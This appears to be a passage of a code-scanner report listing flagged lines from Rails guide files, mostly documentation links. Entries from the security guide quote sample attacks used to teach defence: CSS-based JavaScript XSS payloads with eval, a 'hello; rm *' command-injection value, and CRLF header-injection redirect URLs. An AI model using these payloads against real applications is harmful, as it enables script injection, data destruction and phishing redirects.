Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail wor - Network accessline 1045
In December 2006, 34,000 actual usernames and passwords were stolen in a [MySpace phishing attack](https://www.schneier.com/essays/archives/2006/12/myspace_passwords_ar.html). The idea of the attack was to create a profile page named "login - Network accessline 1051
CSS Injection is explained best by the well-known [MySpace Samy worm](https://samy.pl/myspace/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over - Dangerous shell operationline 1059
So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy `eval()` function which executes any string as code. - Dangerous shell operationline 1062
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> - Dangerous shell operationline 1065
The `eval()` function is a nightmare for restricted list input filters, as it allows the style attribute to hide the word "innerHTML": - Dangerous shell operationline 1068
alert(eval('document.body.inne' + 'rHTML')); - Dangerous shell operationline 1074
<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')"> - Network accessline 1081
The [moz-binding](https://securiteam.com/securitynews/5LP051FHPE) CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example). - Network accessline 1089
If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. [RedCloth](https://github.com/jgarber/redcloth) is such a language for Ruby, but without precaut - Network accessline 1121
If you use the [in_place_editor plugin](https://rubygems.org/gems/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains - Dangerous shell operationline 1127
If your application has to execute commands in the underlying operating system, there are several methods in Ruby: `system(command)`, `exec(command)`, `spawn(command)` and `` `command` ``. You will have to be especially careful with these f - Dangerous shell operationline 1130
user_input = "hello; rm *" - Dangerous shell operationline 1138
system("/bin/echo", "hello; rm *") - Dangerous shell operationline 1139
# prints "hello; rm *" and does not delete files - Network accessline 1160
require "open-uri" URI("https://example.com").open { |file| file.read } - Network accessline 1161
URI("https://example.com").open { |file| file.read } - Network accessline 1180
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld - Network accessline 1186
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi! - Network accessline 1187
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld - Network accessline 1193
HTTP/1.1 302 Moved Temporarily (...) Location: http://www.malicious.tld - Network accessline 1195
Location: http://www.malicious.tld - Network accessline 1248
that Rack parses query parameters it was possible to issue unexpected database queries with `IS NULL` where clauses. As a response to that security issue ([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_ - Network accessline 1249
queries with `IS NULL` where clauses. As a response to that security issue ([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ), [CVE-2012-2694](https://g - Network accessline 1250
([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ), - Network accessline 1251
[CVE-2012-2694](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ) - Network accessline 1252
and [CVE-2013-0155](https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ)) - Network accessline 1308
[`X-Frame-Options`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options - Network accessline 1315
[`X-Content-Type-Options`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options - Network accessline 1329
[`Referrer-Policy`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy - Network accessline 1368
[`Strict-Transport-Security`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security - Network accessline 1396
content_security_policy do |policy| policy.upgrade_insecure_requests true policy.base_uri "https://www.example.com" - Network accessline 1397
policy.upgrade_insecure_requests true policy.base_uri "https://www.example.com" end - Network accessline 1398
policy.base_uri "https://www.example.com" - Network accessline 1415
class PostsController < ApplicationController content_security_policy do |policy| policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" } - Network accessline 1416
content_security_policy do |policy| policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" } end - Network accessline 1417
policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" } - Network accessline 1422
[`Content-Security-Policy`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy - Network accessline 1450
[`Content-Security-Policy-Report-Only`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only - Network accessline 1451
[`report-uri`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-uri - Network accessline 1455
If you are considering `'unsafe-inline'`, consider using nonces instead. [Nonces provide a substantial improvement](https://www.w3.org/TR/CSP3/#security-nonces) - Network accessline 1456
provide a substantial improvement](https://www.w3.org/TR/CSP3/#security-nonces) - Network accessline 1523
Use [`csp_meta_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/CspHelper.html#method-i-csp_meta_tag) - Network accessline 1556
policy.usb :none policy.fullscreen :self policy.payment :self, "https://secure.example.com" - Network accessline 1557
policy.fullscreen :self policy.payment :self, "https://secure.example.com" end - Network accessline 1558
policy.payment :self, "https://secure.example.com" - Network accessline 1565
class PagesController < ApplicationController permissions_policy do |policy| policy.geolocation "https://example.com" - Network accessline 1566
permissions_policy do |policy| policy.geolocation "https://example.com" end - Network accessline 1567
policy.geolocation "https://example.com" - Network accessline 1572
[`Feature-Policy`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy - Network accessline 1577
want to run Rails as an API, and run a frontend app on a separate domain, you need to enable [Cross-Origin Resource Sharing](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) (CORS). - Network accessline 1579
Sharing](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) (CORS). - Network accessline 1581
You can use the [Rack CORS](https://github.com/cyu/rack-cors) middleware for - Access to secretsline 1651
[Credential-related source omitted] - Access to secretsline 1663
[Credential-related source omitted] - Access to secretsline 1668
[Credential-related source omitted] - Access to secretsline 1674
[Credential-related source omitted] - Access to secretsline 1675
[Credential-related source omitted] - Network accessline 1692
* Subscribe to the Rails security [mailing list](https://discuss.rubyonrails.org/c/security-announcements/9). - Network accessline 1693
* [Mozilla's Web Security Guidelines](https://infosec.mozilla.org/guidelines/web_security.html) - Recommendations on topics covering Content Security Policy, HTTP headers, Cookies, TLS configuration, etc. - Network accessline 1694
* A [good set of security resources](https://owasp.org/), notably the [Cheat Sheet Series](https://cheatsheetseries.owasp.org/index.html), with for example the [Cross-Site Scripting Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheet
packages/autoskills/skills-registry/rails-guides/references/testing.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 60
[Fixtures](https://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html) - Network accessline 72
test your application the way your users experience it and help you test your JavaScript as well. System tests inherit from [Capybara](https://github.com/teamcapybara/capybara) and perform in-browser - Network accessline 73
JavaScript as well. System tests inherit from [Capybara](https://github.com/teamcapybara/capybara) and perform in-browser tests for your application. - Network accessline 74
[Capybara](https://github.com/teamcapybara/capybara) and perform in-browser - Network accessline 373
Here's an extract of the assertions you can use with [`minitest`](https://github.com/minitest/minitest), the default testing library - Network accessline 374
[`minitest`](https://github.com/minitest/minitest), the default testing library - Network accessline 412
The above are a subset of assertions that minitest supports. For an exhaustive and more up-to-date list, please check the [minitest API documentation](http://docs.seattlerb.org/minitest/Minitest), specifically - Network accessline 413
and more up-to-date list, please check the [minitest API documentation](http://docs.seattlerb.org/minitest/Minitest), specifically [`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html). - Network accessline 414
documentation](http://docs.seattlerb.org/minitest/Minitest), specifically - Network accessline 415
[`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html). - Network accessline 435
| [`assert_generates(expected_path, options, defaults = {}, extras = {}, message = nil)`][] | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extra parameter is used - Network accessline 436
| [`assert_routing(expected_path, options, defaults = {}, extras = {}, message = nil)`][] | Asserts that `path` and `options` match both ways; in other words, it verifies that `path` generates `options` and then that `options` generates `pa - Network accessline 437
| [`assert_response(type, message = nil)`][] | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match th - Network accessline 446
[`assert_difference(expressions, difference = 1, message = nil) {...}`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_difference - Network accessline 447
[`assert_no_difference(expressions, message = nil, &block)`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_difference - Network accessline 448
[`assert_changes(expressions, message = nil, from:, to:, &block)`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_changes - Network accessline 449
[`assert_no_changes(expressions, message = nil, &block)`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_changes - Network accessline 450
[`assert_nothing_raised { block }`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_nothing_raised - Network accessline 451
[`assert_recognizes(expected_options, path, extras = {}, message = nil)`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_recognizes - Network accessline 452
[`assert_generates(expected_path, options, defaults = {}, extras = {}, message = nil)`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_generates - Network accessline 453
[`assert_routing(expected_path, options, defaults = {}, extras = {}, message = nil)`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_routing - Network accessline 454
[`assert_response(type, message = nil)`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_response - Network accessline 455
[`assert_redirected_to(options = {}, message = nil)`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_redirected_to - Network accessline 456
[`assert_queries_count(count = nil, include_schema: false, &block)`]: https://api.rubyonrails.org/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_queries_count - Network accessline 457
[`assert_no_queries(include_schema: false, &block)`]: https://api.rubyonrails.org/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_no_queries - Network accessline 458
[`assert_queries_match(pattern, count: nil, include_schema: false, &block)`]: https://api.rubyonrails.org/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_queries_match - Network accessline 459
[`assert_no_queries_match(pattern, &block)`]: https://api.rubyonrails.org/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_no_queries_match - Network accessline 460
[`assert_error_reported(class) { block }`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/ErrorReporterAssertions.html#method-i-assert_error_reported - Network accessline 461
[`assert_no_error_reported { block }`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/ErrorReporterAssertions.html#method-i-assert_no_error_reported - Network accessline 471
* [`ActiveSupport::TestCase`](https://api.rubyonrails.org/classes/ActiveSupport/TestCase.html) - Network accessline 472
* [`ActionMailer::TestCase`](https://api.rubyonrails.org/classes/ActionMailer/TestCase.html) - Network accessline 473
* [`ActionView::TestCase`](https://api.rubyonrails.org/classes/ActionView/TestCase.html) - Network accessline 474
* [`ActiveJob::TestCase`](https://api.rubyonrails.org/classes/ActiveJob/TestCase.html) - Network accessline 475
* [`ActionDispatch::Integration::Session`](https://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html) - Network accessline 476
* [`ActionDispatch::SystemTestCase`](https://api.rubyonrails.org/classes/ActionDispatch/SystemTestCase.html) - Network accessline 477
* [`Rails::Generators::TestCase`](https://api.rubyonrails.org/classes/Rails/Generators/TestCase.html) - Network accessline 482
TIP: For more information on `minitest`, refer to the [minitest documentation](http://docs.seattlerb.org/minitest). - Network accessline 483
documentation](http://docs.seattlerb.org/minitest). - Network accessline 621
Rails, you can handle this by defining and customizing fixtures. You can find comprehensive documentation in the [Fixtures API documentation](https://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). - Network accessline 623
documentation](https://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). - Network accessline 639
[YAML](https://en.wikipedia.org/wiki/YAML) is a human-readable data serialization language. - Network accessline 696
will auto-assign a primary key to be consistent between runs. For more information on this association behavior please read the [Fixtures API documentation](https://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). - Network accessline 698
documentation](https://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). - Network accessline 739
[image/png]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#image_types - Network accessline 740
https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#image_types - Network accessline 770
PostgreSQL, only superusers can disable all triggers. Read more about [permissions in the PostgreSQL docs](https://www.postgresql.org/docs/current/sql-altertable.html)). - Network accessline 772
docs](https://www.postgresql.org/docs/current/sql-altertable.html)). - Network accessline 816
The method [`ActiveRecord::Base.current_transaction`](https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-current_transaction) - Network accessline 817
[`ActiveRecord::Base.current_transaction`](https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-current_transaction) - Network accessline 873
Model tests don't have their own superclass like `ActionMailer::TestCase`. Instead, they inherit from [`ActiveSupport::TestCase`](https://api.rubyonrails.org/classes/ActiveSupport/TestCase.html). - Network accessline 875
[`ActiveSupport::TestCase`](https://api.rubyonrails.org/classes/ActiveSupport/TestCase.html). - Network accessline 963
get article_url(Article.first), headers: { "HTTP_REFERER" => "http://example.com/home" } - Network accessline 1099
# setting a CGI variable get articles_url, headers: { "HTTP_REFERER": "http://example.com/home" } # simulate the request with custom env variable - Network accessline 1100
get articles_url, headers: { "HTTP_REFERER": "http://example.com/home" } # simulate the request with custom env variable - Network accessline 1307
Here the test is inheriting from [`ActionDispatch::IntegrationTest`](https://api.rubyonrails.org/classes/ActionDispatch/IntegrationTest.html). - Network accessline 1308
[`ActionDispatch::IntegrationTest`](https://api.rubyonrails.org/classes/ActionDispatch/IntegrationTest.html). - Network accessline 1404
* [`ActionDispatch::Integration::Runner`](https://api.rubyonrails.org/classes/ActionDispatch/Integration/Runner.html) - Network accessline 1408
* [`ActionDispatch::Integration::RequestHelpers`](https://api.rubyonrails.org/classes/ActionDispatch/Integration/RequestHelpers.html) for performing requests. - Network accessline 1411
* [`ActionDispatch::TestProcess::FixtureFile`](https://api.rubyonrails.org/classes/ActionDispatch/TestProcess/FixtureFile.html) - Network accessline 1414
* [`ActionDispatch::Integration::Session`](https://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html) - Network accessline 1422
does this by running tests in either a real or a headless browser (a browser which runs in the background without opening a visible window). System tests use [Capybara](https://www.rubydoc.info/github/jnicklas/capybara) under the hood. - Network accessline 1424
[Capybara](https://www.rubydoc.info/github/jnicklas/capybara) under the hood. - Network accessline 1504
If you want to change the default settings, you can change what the system tests are "driven by". If you want to change the driver from Selenium to Cuprite, you'd add the [`cuprite`](https://github.com/rubycdp/cuprite) gem to your - Network accessline 1505
are "driven by". If you want to change the driver from Selenium to Cuprite, you'd add the [`cuprite`](https://github.com/rubycdp/cuprite) gem to your `Gemfile`. Then in your `application_system_test_case.rb` file you'd do the - Network accessline 1506
you'd add the [`cuprite`](https://github.com/rubycdp/cuprite) gem to your - Network accessline 1545
If you want to use a remote browser, e.g. [Headless Chrome in Docker](https://github.com/SeleniumHQ/docker-selenium), you have to add a remote - Network accessline 1546
Docker](https://github.com/SeleniumHQ/docker-selenium), you have to add a remote - Network accessline 1552
class ApplicationSystemTestCase < ActionDispatch::SystemTestCase url = ENV.fetch("SELENIUM_REMOTE_URL", nil) - Network accessline 1553
url = ENV.fetch("SELENIUM_REMOTE_URL", nil) - Network accessline 1566
$ SELENIUM_REMOTE_URL=http://localhost:4444/wd/hub bin/rails test:system - Network accessline 1569
If your application is remote, e.g. within a Docker container, Capybara needs more input about how to [call remote servers](https://github.com/teamcapybara/capybara#calling-remote-servers). - Network accessline 1571
servers](https://github.com/teamcapybara/capybara#calling-remote-servers). - Network accessline 1577
setup do Capybara.server_host = "0.0.0.0" # bind to all interfaces Capybara.app_host = "http://#{IPSocket.getaddress(Socket.gethostname)}" if ENV["SELENIUM_REMOTE_URL"].present? - Network accessline 1578
Capybara.server_host = "0.0.0.0" # bind to all interfaces Capybara.app_host = "http://#{IPSocket.getaddress(Socket.gethostname)}" if ENV["SELENIUM_REMOTE_URL"].present? end - Network accessline 1579
Capybara.app_host = "http://#{IPSocket.getaddress(Socket.gethostname)}" if ENV["SELENIUM_REMOTE_URL"].present? - Network accessline 1592
Please see [Capybara's documentation](https://github.com/teamcapybara/capybara#setup) for additional - Network accessline 1593
documentation](https://github.com/teamcapybara/capybara#setup) for additional - Network accessline 1709
Here's an extract of the assertions provided by [`Capybara`](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Minitest/Assertions) - Network accessline 1710
[`Capybara`](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Minitest/Assertions) - Network accessline 1726
The [`ScreenshotHelper`](https://api.rubyonrails.org/classes/ActionDispatch/SystemTesting/TestHelpers/ScreenshotHelper.html) - Network accessline 1727
[`ScreenshotHelper`](https://api.rubyonrails.org/classes/ActionDispatch/SystemTesting/TestHelpers/ScreenshotHelper.html) - Network accessline 1844
For more information on routing assertions available in Rails, see the API documentation for [`ActionDispatch::Assertions::RoutingAssertions`](https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html). - Network accessline 1846
[`ActionDispatch::Assertions::RoutingAssertions`](https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html). - Network accessline 1901
assert_dom_equal '<a href="http://www.further-reading.com">Read more</a>', - Network accessline 1902
link_to("Read more", "http://www.further-reading.com") - Network accessline 1905
For more advanced usage, refer to the [`rails-dom-testing` documentation](https://github.com/rails/rails-dom-testing). - Network accessline 1906
documentation](https://github.com/rails/rails-dom-testing). - Network accessline 1909
`ActionView::TestCase` declare a `document_root_element` method that returns the rendered content as an instance of a [Nokogiri::XML::Node](https://nokogiri.org/rdoc/Nokogiri/XML/Node.html): - Network accessline 1911
[Nokogiri::XML::Node](https://nokogiri.org/rdoc/Nokogiri/XML/Node.html): - Network accessline 1925
If your application depends on [Nokogiri >= 1.14.0](https://github.com/sparklemotion/nokogiri/releases/tag/v1.14.0) or - Network accessline 1926
1.14.0](https://github.com/sparklemotion/nokogiri/releases/tag/v1.14.0) or - Network accessline 1927
higher, and [minitest >= 5.18.0](https://github.com/minitest/minitest/blob/v5.18.0/History.rdoc#5180--2023-03-04-), `document_root_element` supports [Ruby's Pattern - Network accessline 1928
5.18.0](https://github.com/minitest/minitest/blob/v5.18.0/History.rdoc#5180--2023-03-04-), - Network accessline 1930
Matching](https://docs.ruby-lang.org/en/master/syntax/pattern_matching_rdoc.html): - Network accessline 1946
If you'd like to access the same [Capybara-powered Assertions](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Minitest/Assertions) - Network accessline 1947
Assertions](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Minitest/Assertions) - Network accessline 1989
To transform the `String` content returned by the `rendered` method into an object, define a parser by calling [`register_parser`](https://api.rubyonrails.org/classes/ActionView/TestCase/Behavior/ClassMethods.html#method-i-register_parser). - Network accessline 1990
object, define a parser by calling [`register_parser`](https://api.rubyonrails.org/classes/ActionView/TestCase/Behavior/ClassMethods.html#method-i-register_parser). Calling `register_parser :rss` defines a `rendered.rss` helper method. For - Network accessline 1991
[`register_parser`](https://api.rubyonrails.org/classes/ActionView/TestCase/Behavior/ClassMethods.html#method-i-register_parser). - Network accessline 2010
* `:html` - returns an instance of [Nokogiri::XML::Node](https://nokogiri.org/rdoc/Nokogiri/XML/Node.html) - Network accessline 2011
[Nokogiri::XML::Node](https://nokogiri.org/rdoc/Nokogiri/XML/Node.html) - Network accessline 2013
[ActiveSupport::HashWithIndifferentAccess](https://api.rubyonrails.org/classes/ActiveSupport/HashWithIndifferentAccess.html) - Network accessline 2033
[rails-dom-testing]: https://github.com/rails/rails-dom-testing - Network accessline 2034
[RSS content]: https://www.rssboard.org/rss-specification - Network accessline 2216
When testing multi-part emails with both HTML *and* text parts, use the [`assert_part`](https://api.rubyonrails.org/classes/ActionMailer/TestCase/Behavior.html#method-i-assert_part) - Network accessline 2217
[`assert_part`](https://api.rubyonrails.org/classes/ActionMailer/TestCase/Behavior.html#method-i-assert_part) - Network accessline 2218
assertion. When testing emails with HTML parts, use the assertions provided by [Rails::Dom::Testing](https://github.com/rails/rails-dom-testing). - Network accessline 2391
above](#testing-enqueued-emails)) or `assert_enqueued_emails` methods. More information can be found in the [documentation](https://api.rubyonrails.org/classes/ActionMailer/TestHelper.html). - Network accessline 2393
[documentation](https://api.rubyonrails.org/classes/ActionMailer/TestHelper.html). - Network accessline 2429
[`perform_enqueued_jobs`]: https://api.rubyonrails.org/classes/ActiveJob/TestHelper.html#method-i-perform_enqueued_jobs - Network accessline 2430
https://api.rubyonrails.org/classes/ActiveJob/TestHelper.html#method-i-perform_enqueued_jobs - Network accessline 2431
[`perform_later`]: https://api.rubyonrails.org/classes/ActiveJob/Enqueuing/ClassMethods.html#method-i-perform_later [`perform_now`]: - Network accessline 2432
https://api.rubyonrails.org/classes/ActiveJob/Enqueuing/ClassMethods.html#method-i-perform_later - Network accessline 2434
https://api.rubyonrails.org/classes/ActiveJob/Execution/ClassMethods.html#method-i-perform_now - Network accessline 2464
[`ActiveJob::TestHelper`]: https://api.rubyonrails.org/classes/ActiveJob/TestHelper.html - Network accessline 2465
https://api.rubyonrails.org/classes/ActiveJob/TestHelper.html - Network accessline 2467
https://api.rubyonrails.org/classes/ActiveJob/TestHelper.html#method-i-assert_enqueued_with - Network accessline 2511
[`file_fixture_upload`]: https://api.rubyonrails.org/classes/ActionDispatch/TestProcess/FixtureFile.html#method-i-file_fixture_upload - Network accessline 2632
# ... parallelize_teardown do |i| FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root) - Network accessline 2633
parallelize_teardown do |i| FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root) end - Network accessline 2634
FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root) - Network accessline 2644
# test_helper.rb Minitest.after_run do FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root) - Network accessline 2645
Minitest.after_run do FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root) end - Network accessline 2646
FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root) - Network accessline 2650
[fixtures]: testing.html#fixtures [`ActiveStorage::FixtureSet`]: https://api.rubyonrails.org/classes/ActiveStorage/FixtureSet.html - Network accessline 2651
[`ActiveStorage::FixtureSet`]: https://api.rubyonrails.org/classes/ActiveStorage/FixtureSet.html - Network accessline 2727
See the API documentation for [`ActionCable::Connection::TestCase`](https://api.rubyonrails.org/classes/ActionCable/Connection/TestCase.html) - Network accessline 2728
[`ActionCable::Connection::TestCase`](https://api.rubyonrails.org/classes/ActionCable/Connection/TestCase.html) - Network accessline 2772
See the API documentation for [`ActionCable::Channel::TestCase`](https://api.rubyonrails.org/classes/ActionCable/Channel/TestCase.html) - Network accessline 2773
[`ActionCable::Channel::TestCase`](https://api.rubyonrails.org/classes/ActionCable/Channel/TestCase.html) - Network accessline 2779
the verbosity of tests. For a full list of available assertions, see the API documentation for [`ActionCable::TestHelper`](https://api.rubyonrails.org/classes/ActionCable/TestHelper.html). - Network accessline 2781
[`ActionCable::TestHelper`](https://api.rubyonrails.org/classes/ActionCable/TestHelper.html). - Network accessline 3073
[travel_to]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html#method-i-travel_to - Network accessline 3074
https://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html#method-i-travel_to - Network accessline 3076
https://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html
packages/autoskills/skills-registry/rails-guides/references/threading_and_code_execution.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 91
Each thread should be wrapped before it runs application code, so if your application manually delegates work to other threads, such as via `Thread.new` or [Concurrent Ruby](https://github.com/ruby-concurrency/concurrent-ruby) - Network accessline 92
application manually delegates work to other threads, such as via `Thread.new` or [Concurrent Ruby](https://github.com/ruby-concurrency/concurrent-ruby) features that use thread pools, you should immediately wrap the block: - Network accessline 93
or [Concurrent Ruby](https://github.com/ruby-concurrency/concurrent-ruby) - Network accessline 131
Like the Executor, the [Reloader](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html) also - Network accessline 132
[Reloader](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html) also - Network accessline 175
Often, additional reloading actions need to be performed either just before or just after the "class unload", so the Reloader also provides [`before_class_unload`](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html#method-c-bef - Network accessline 176
just after the "class unload", so the Reloader also provides [`before_class_unload`](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html#method-c-before_class_unload) and - Network accessline 177
[`before_class_unload`](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html#method-c-before_class_unload) - Network accessline 178
and [`after_class_unload`](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html#method-c-after_class_unload) callbacks. - Network accessline 179
[`after_class_unload`](https://api.rubyonrails.org/classes/ActiveSupport/Reloader.html#method-c-after_class_unload) - Network accessline 199
[`ActionDispatch::Executor`](https://api.rubyonrails.org/classes/ActionDispatch/Executor.html) - Network accessline 200
and [`ActionDispatch::Reloader`](https://api.rubyonrails.org/classes/ActionDispatch/Reloader.html) are Rack middlewares that wrap requests with a supplied Executor or Reloader, - Network accessline 201
[`ActionDispatch::Reloader`](https://api.rubyonrails.org/classes/ActionDispatch/Reloader.html) are Rack middlewares that wrap requests with a supplied Executor or Reloader, respectively. They are automatically included in the default applic
packages/autoskills/skills-registry/rails-guides/references/tuning_performance_for_deployment.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 21
This guide assumes you are running [MRI](https://ruby-lang.org), the canonical implementation of Ruby also known as - Network accessline 57
[CRuby](https://www.ruby-lang.org/en/) has a [Global Interpreter Lock](https://en.wikipedia.org/wiki/Global_interpreter_lock), - Network accessline 79
The way to achieve true parallelism with Ruby is to use multiple processes. As long as there is a free CPU core, Ruby processes don't have to wait on one another before resuming execution after an I/O operation is complete. However, process - Network accessline 80
processes don't have to wait on one another before resuming execution after an I/O operation is complete. However, processes only share a fraction of their memory via [copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write), so one addi - Network accessline 81
However, processes only share a fraction of their memory via [copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write), - Network accessline 100
Another thing to consider is that Ruby memory usage benefits from economies of scale thanks to [copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write). - Network accessline 101
[copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write). - Network accessline 129
Recent Ruby versions come with a [Just-in-time compiler](https://en.wikipedia.org/wiki/Just-in-time_compilation) - Network accessline 130
called [`YJIT`](https://github.com/ruby/ruby/blob/master/doc/jit/yjit.md). - Network accessline 137
by default. Older versions of Rails or Ruby have to enable it manually, please refer to the [`YJIT documentation`](https://github.com/ruby/ruby/blob/master/doc/jit/yjit.md) about how to do it. - Network accessline 139
[`YJIT documentation`](https://github.com/ruby/ruby/blob/master/doc/jit/yjit.md) about how to do it. - Network accessline 141
If the extra memory usage is a problem, before entirely disabling YJIT, you can try tuning it to use less memory via [the `--yjit-mem-size` configuration](https://github.com/ruby/ruby/blob/master/doc/jit/yjit.md#decreasing---yjit-mem-size). - Network accessline 142
[the `--yjit-mem-size` configuration](https://github.com/ruby/ruby/blob/master/doc/jit/yjit.md#decreasing---yjit-mem-size). - Network accessline 146
Because of how the default memory allocator works on most Linux distributions, running Puma with multiple threads can lead to an unexpected increase in memory usage caused by [memory fragmentation](https://en.wikipedia.org/wiki/Fragmentatio - Network accessline 147
lead to an unexpected increase in memory usage caused by [memory fragmentation](https://en.wikipedia.org/wiki/Fragmentation_\(computing\)). - Network accessline 150
To alleviate this problem, it is highly recommended to configure Ruby to use an alternative memory allocator: [jemalloc](https://github.com/facebook/jemalloc). - Network accessline 151
[jemalloc](https://github.com/facebook/jemalloc). - Network accessline 183
[Percentile](https://en.wikipedia.org/wiki/Percentile_rank) latency gives the latency where a certain percentage of requests have better latency than that. - Network accessline 199
If your production environment includes more than one server, it can be a good idea to do [A/B testing](https://en.wikipedia.org/wiki/A/B_testing) there. - Network accessline 200
[A/B testing](https://en.wikipedia.org/wiki/A/B_testing) there. - Network accessline 242
